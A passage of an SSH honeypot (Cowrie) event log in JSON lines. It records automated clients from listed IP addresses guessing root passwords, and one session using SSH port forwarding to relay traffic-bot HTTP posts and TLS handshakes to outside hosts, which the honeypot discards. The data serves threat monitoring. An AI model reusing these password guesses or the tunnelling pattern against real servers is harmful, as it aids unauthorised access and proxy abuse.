"hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:18.742134Z","src_ip":"103.27.238.120","session":"f70a7079ddf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lermontov","message":"login attempt [root/lermontov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:19.553261Z","src_ip":"103.27.238.120","session":"f70a7079ddf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:20.826623Z","src_ip":"103.27.238.120","session":"f70a7079ddf2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:23.184470Z","session":"230b6475e0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:23.198335Z","src_ip":"23.148.145.132","session":"230b6475e0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1; Y93 Lite) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Q1okckx7TChMRWpCIXdaQQ%3D%3DcjsXek9CiwD4fE8OygY4O6Oz%2FhsihEu%2BqmIFO2NAhYrZDnn8N5PHIxdQgh7j89sJLwMvNBu7zBATqIWbGa5poLAZ1GER9ckFyV0xL7DrpQaVNOZO9oL3sIuBb%2B9iyYZS7wFzriRKcbL%2FDVQzdjxlv89ghnUIHK58wxrO9HM6Np8ywwwoeGKlCjqIvc46jfiAyz9muwCt%2Ff3p7LU8T8lo2AGnEzA7Jp65VRJ5K0oKrfJwMvXCQD%2B%2Fgfj0feEtPaTnmhyUuYvtpsLwAaZ1rnJOrP4EDaI%2Buqwe8B76Jb1tb2qHUU4y9Plv%2Bv3Ktvv0ssG5Fju33o2hNeqpQSX%2B0Ta%2FFpcROy%2FeRwSzT7YEh9pACn0YvJSlkANjIfAkfThivaui0SMNwqYH0YX2BAnQFoVl6ZgY0W2qRK%2Fs3x0Li9irFRtvtGabKYcbXlQKbMi%2BsHHEjmQPsX38%2FrfKptGxlw7cuPtb4HWe8jrf3QGxJZDC06WJdCar3J2KQT5QjFOeLTPM8ekGQYA7VmHj7EhSWkpwovo62UFhu159VNa5G6jtOs94ljTXtBJrxXU3gOa6ut%2BA1aX53hYAmU7C4AeE%2BY%2Fx%2FDb7hURPlaANWk2CZxs%2FSJp6QQ8tOeAZdafkUH2PcyXoeKhoLvEm4%2Fb6CUmiQ56HcbceB3CudMlqRQrz14pdvpH0egImPW5%2B9H9UWZRKJT9go35CwsbqqW%2B%2FzusHugqwxYbfsBtWqgVOymwCWGnx4UcUwwaED%2FwywTEhxTWZ02WnnXppU19tgAGOprnzkPy2HQ6Fzx2h%2Bdu3Y4ncg8YNKtS5ebUaHZsqBPLSkAT2aHFJFLT7T5JRrK80KsmgKIW8zp6xYSV9Z%2FM7YPFcVEZJpltuGeduzokhoOQYwPj0Lpz%2FLXLJFSmCNNlOgNHHctEq31TgjjXblVwBHYGamWQwUPLr53gnSu4AHpR8RGjPXE5N9jJgqVDoyO0UoLd0pIl24WAUf2bgnx%2FJF9foZaizB5Fc53SGxT%2B1EgRKaP60O8p3Xmu%2BSDFrmdxjrFnMeAj3JnDZPE1P6npnM6hXFXCSvQUbRlC2C%2BxDVHb8%2FeAnEdGp'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1; Y93 Lite) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Q1okckx7TChMRWpCIXdaQQ%3D%3DcjsXek9CiwD4fE8OygY4O6Oz%2FhsihEu%2BqmIFO2NAhYrZDnn8N5PHIxdQgh7j89sJLwMvNBu7zBATqIWbGa5poLAZ1GER9ckFyV0xL7DrpQaVNOZO9oL3sIuBb%2B9iyYZS7wFzriRKcbL%2FDVQzdjxlv89ghnUIHK58wxrO9HM6Np8ywwwoeGKlCjqIvc46jfiAyz9muwCt%2Ff3p7LU8T8lo2AGnEzA7Jp65VRJ5K0oKrfJwMvXCQD%2B%2Fgfj0feEtPaTnmhyUuYvtpsLwAaZ1rnJOrP4EDaI%2Buqwe8B76Jb1tb2qHUU4y9Plv%2Bv3Ktvv0ssG5Fju33o2hNeqpQSX%2B0Ta%2FFpcROy%2FeRwSzT7YEh9pACn0YvJSlkANjIfAkfThivaui0SMNwqYH0YX2BAnQFoVl6ZgY0W2qRK%2Fs3x0Li9irFRtvtGabKYcbXlQKbMi%2BsHHEjmQPsX38%2FrfKptGxlw7cuPtb4HWe8jrf3QGxJZDC06WJdCar3J2KQT5QjFOeLTPM8ekGQYA7VmHj7EhSWkpwovo62UFhu159VNa5G6jtOs94ljTXtBJrxXU3gOa6ut%2BA1aX53hYAmU7C4AeE%2BY%2Fx%2FDb7hURPlaANWk2CZxs%2FSJp6QQ8tOeAZdafkUH2PcyXoeKhoLvEm4%2Fb6CUmiQ56HcbceB3CudMlqRQrz14pdvpH0egImPW5%2B9H9UWZRKJT9go35CwsbqqW%2B%2FzusHugqwxYbfsBtWqgVOymwCWGnx4UcUwwaED%2FwywTEhxTWZ02WnnXppU19tgAGOprnzkPy2HQ6Fzx2h%2Bdu3Y4ncg8YNKtS5ebUaHZsqBPLSkAT2aHFJFLT7T5JRrK80KsmgKIW8zp6xYSV9Z%2FM7YPFcVEZJpltuGeduzokhoOQYwPj0Lpz%2FLXLJFSmCNNlOgNHHctEq31TgjjXblVwBHYGamWQwUPLr53gnSu4AHpR8RGjPXE5N9jJgqVDoyO0UoLd0pIl24WAUf2bgnx%2FJF9foZaizB5Fc53SGxT%2B1EgRKaP60O8p3Xmu%2BSDFrmdxjrFnMeAj3JnDZPE1P6npnM6hXFXCSvQUbRlC2C%2BxDVHb8%2FeAnEdGp'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:23.201898Z","src_ip":"23.148.145.132","session":"230b6475e0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:23.502612Z","session":"230b6475e0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:23.529062Z","src_ip":"23.148.145.132","session":"230b6475e0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03?\\x16y]:\\xbf\\xe7\\x9c\\xae\\x19\\xf0\\xec\\x85Y\\x06K\\xf9\\xbf\\xb0\\xa1\\xf5\\x90vL\\xa0HP!\\x90\\xedp\\xa9 t\\xc0\\x8c\\xa7q\\x92\\x9d\\xd4h\\x0ffREUG\\x98:\\x81\\x91\\xbduO\\x89\\n\\x06^\\xc3\\x13W\\x90\\x8eC\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 .H\\x19P\\xd1\\x8cCIc\\xe9\\x87\\xb9\\x12\\xa3IJR\\xd0\\x91\\x049\\n\\xfbKL\\xc2\\x80{\\xf0\\xdcN^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03?\\x16y]:\\xbf\\xe7\\x9c\\xae\\x19\\xf0\\xec\\x85Y\\x06K\\xf9\\xbf\\xb0\\xa1\\xf5\\x90vL\\xa0HP!\\x90\\xedp\\xa9 t\\xc0\\x8c\\xa7q\\x92\\x9d\\xd4h\\x0ffREUG\\x98:\\x81\\x91\\xbduO\\x89\\n\\x06^\\xc3\\x13W\\x90\\x8eC\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 .H\\x19P\\xd1\\x8cCIc\\xe9\\x87\\xb9\\x12\\xa3IJR\\xd0\\x91\\x049\\n\\xfbKL\\xc2\\x80{\\xf0\\xdcN^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:23.532250Z","src_ip":"23.148.145.132","session":"230b6475e0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:23.665727Z","session":"230b6475e0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:23.679265Z","src_ip":"23.148.145.132","session":"230b6475e0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03W:\\x18\\xee\\xbc\\xc0\\x9c24\\xdc\\x874\\xc9`\\x95,?:64m/\\x80\\xa1\\x9c\\xf2\\xa5I\"!\\xb2: \\xc7\\x8aylm\\x82\\xdf\\xa8\\xbd\\x89\\x1f\\xb4R\\xfd\\xd0\\xe6\\x86\\x8a\\xf6\\xd9D\\x18\\xb4`\\x94,\\xf37\\x902\\xe2\\xee\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 w}\\x1ab\\xf7e\\xcc26Sh\\x84N\\xdf|\\x9c\\x83\\xbb%E2\\xe1\\x83\\xd6\\xa02\\xbc\\xa2\\xf0\\x17 ^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03W:\\x18\\xee\\xbc\\xc0\\x9c24\\xdc\\x874\\xc9`\\x95,?:64m/\\x80\\xa1\\x9c\\xf2\\xa5I\"!\\xb2: \\xc7\\x8aylm\\x82\\xdf\\xa8\\xbd\\x89\\x1f\\xb4R\\xfd\\xd0\\xe6\\x86\\x8a\\xf6\\xd9D\\x18\\xb4`\\x94,\\xf37\\x902\\xe2\\xee\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 w}\\x1ab\\xf7e\\xcc26Sh\\x84N\\xdf|\\x9c\\x83\\xbb%E2\\xe1\\x83\\xd6\\xa02\\xbc\\xa2\\xf0\\x17 ^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:23.682879Z","src_ip":"23.148.145.132","session":"230b6475e0be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":33422,"dst_ip":"10.17.0.5","dst_port":22,"session":"fff072ef9a47","protocol":"ssh","message":"New connection: 103.172.78.219:33422 (10.17.0.5:22) [session: fff072ef9a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:24.552012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:24.556523Z","src_ip":"103.172.78.219","session":"fff072ef9a47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:24.812754Z","src_ip":"103.172.78.219","session":"fff072ef9a47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290991","message":"login attempt [root/290991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:25.583767Z","src_ip":"103.172.78.219","session":"fff072ef9a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:26.842617Z","src_ip":"103.172.78.219","session":"fff072ef9a47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38270,"dst_ip":"10.17.0.5","dst_port":22,"session":"e525ef537488","protocol":"ssh","message":"New connection: 87.251.64.176:38270 (10.17.0.5:22) [session: e525ef537488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:29.369417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:29.373527Z","src_ip":"87.251.64.176","session":"e525ef537488","protocol":"ssh"}
